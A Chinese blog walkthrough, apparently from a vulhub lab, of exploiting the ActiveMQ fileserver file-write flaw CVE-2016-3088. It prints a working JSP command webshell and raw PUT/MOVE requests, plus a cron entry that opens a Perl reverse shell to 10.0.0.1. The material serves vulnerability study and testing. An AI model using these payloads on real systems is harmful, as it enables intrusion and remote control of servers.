首页 > 其他分享 >ActiveMQ任意文件写入漏洞(CVE-2016-3088)

ActiveMQ任意文件写入漏洞(CVE-2016-3088)

时间:2023-08-04 15:11:35浏览次数:42  
标签:文件 fileserver 写入 cron 漏洞 3088 2016 ActiveMQ

ActiveMQ任意文件写入漏洞(CVE-2016-3088)【现实项目遇到过】

1. 环境搭建

cd vulhub-master/activemq/CVE-2016-3088
docker-compose up -d 
docker-compose config    #查看靶场环境相关的配置信息
docker-compose down      #关闭靶场环境    

环境监听61616端口和8161端口,其中8161为web控制台端口,本漏洞就出现在web控制台中。
访问http://10.10.10.152:8161/看到web页面,说明环境已成功运行。

2. 背景简述
ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的的接口;admin和api都需要登录后才能使用,fileserver无需登录。

fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列不能传输,存储二进制文件的缺陷,但后来发现:

  1. 其使用率并不高
  2. 文件操作容易出现漏洞

所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。

在测试过程中,可以关注ActiveMQ的版本,避免走弯路。

3. 漏洞详情
本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。

文件写入有几种利用方法:

  1. 写入webshell
  2. 写入cron或ssh key等文件
  3. 写入jar或jetty.xml等库和配置文件

写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。
img

方法一

1. 抓包
img

2. 写入webshell

<%@ page import="java.io.*"%>

<%

out.print("Hello");

String strcmd=request.getParameter("cmd");

String line=null;

Process p=Runtime.getRuntime().exec(strcmd);

BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));

while((line=br.readLine())!=null){

out.print(line+"");

}

%>

img
img
返回204表示上传成功!!!

3. 移动文件
移动到web目录下的api文件夹(/opt/activemq/webapps/api/s.jsp)中:
img

4. 访问webshell(需要登录)
img

方法二

写入crontab,自动化弹shell
这是一个比较稳健的方法。首先上传cron配置文件(注意,换行一定要\n,不能是\r\n,否则crontab执行会失败):

PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

将其移动到/etc/cron.d/root:

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

如果上述两个请求都返回204了,说明写入成功。等待反弹shell:

nc -lp 21

这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。

效果图
img
img
img

标签:文件,fileserver,写入,cron,漏洞,3088,2016,ActiveMQ
From: https://www.cnblogs.com/kalixcn/p/17605967.html

相关文章

  • SSRS 2016 DeviceInfo Name already exists Parameter name: deviceInfoName
    https://learn.microsoft.com/en-us/answers/questions/784851/ssrs-2016-deviceinfo-name-already-exists-parameterhttps://social.msdn.microsoft.com/Forums/sqlserver/en-US/5b4acc6d-058b-4c40-b916-cc634bb35f61/ssrs-2012-deviceinfo-name-already-exists-parmeter-n......
  • [Ynoi2016] 这是我自己的发明(根号分治+分块/莫队)
    题目传送门soltion简单题换根显然可以拆成\(O(1)\)个区间,这里先不管。直接做法是莫队,把双子树拆成\(dfs\)序上的双前缀,可以直接莫队,但是常数比较大。另一种做法是根分,对颜色出现次数分治,大于的求出\(dfs\)序的前缀和即可,小于的因为一共只有\(O(n\sqrtn)\)个点对,所以......
  • redis远程代码执行CVE-2016-8339
       Redis3.2.x<3.2.4版本存在缓冲区溢出漏洞,可导致任意代码执行。Redis数据结构存储的CONFIGSET命令中client-output-buffer-limit选项处理存在越界写漏洞。构造的CONFIGSET命令可导致越界写,代码执行。漏洞利用:修改配置文件redis.confcpredis.conf./src/......
  • Windows Server 2016 OVF, updated Jul 2023 (sysin) - VMware 虚拟机模板
    WindowsServer2016OVF,updatedJul2023(sysin)-VMware虚拟机模板2023年6月版本更新,现在自动运行sysprep,支持ESXiHostClient部署请访问原文链接:https://sysin.org/blog/windows-server-2016-ovf/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.org现在......
  • Windows Server 2016 中文版、英文版下载 (updated Jul 2023)
    WindowsServer2016中文版、英文版下载(updatedJul2023)WindowsServer2016Version1607,2023年7月更新请访问原文链接:https://sysin.org/blog/windows-server-2016/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.org本站将不定期发布官方原版风格月度更新IS......
  • luogu P4069 [SDOI2016] 游戏 题解【李超树+树剖】
    目录题目描述解题思路code题目描述P4069[SDOI2016]游戏一棵树,树上有\(n\)个节点,最初每个节点上有\(1\)个数字:\(123456789123456789\)。有两种操作:\(\centerdot\)选择\(s,t\)两个节点,将路径上的每一个点都变多(\(1\)个变\(2\)个)数字:\(a\timesdis+b\),其中\(dis\)表示该节点......
  • not_the_same_3dsctf_2016
    0X01和get_started_3dsctf_2016类似大概思路是先控制程序流到get_secret函数读取flag到f14g变量,再控制返回地址为write函数输出f14g变量的内容frompwnimport*p=remote("node4.buuoj.cn",25684)elf=ELF(./not_the_same_3dsctf_2016)write_addr=elf.sym['write']......
  • get_started_3dsctf_2016
    0x00最近持续学习栈溢出,努力熟悉各种利用方法,争取这周和下周把栈溢出这块结束发现自己的WP好久没有更新了,BUUCTF也攒了好多于是,为了让自己更进一步熟悉栈溢出攻击,温故知新,同时方便自己查找(希望不是浪费时间),WP补完计划,启动!(我可不是看了孙导的奖励临时起意的)0x01IDA分析``......
  • Apache Shiro 反序列化漏洞(CVE-2016-4437)
    漏洞简介ApacheShiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。版本信息:ApacheShiro<=1.2.4漏洞名称:ApacheShiro1.2.4反序列化漏洞,即shiro-550反序列化漏洞。漏洞形成原理:1、检索RememberMecookie的......
  • 洛谷 P3291 [SCOI2016] 妖怪
    设每只怪物经过环境影响后的攻击力和防守力分别为\(x_i,y_i\),则有:\(y_i=dnf_i-\dfracba(x_i-atk_i)\)。设\(k=-\dfracba\),则有\(y_i=kx_i+dnf_i-k\cdotatk_i\)。设直线\(l_i:y_i=kx_i+dnf_i-k\cdotatk_i\),第\(i\)只怪物在\((a,b)\)的环境下......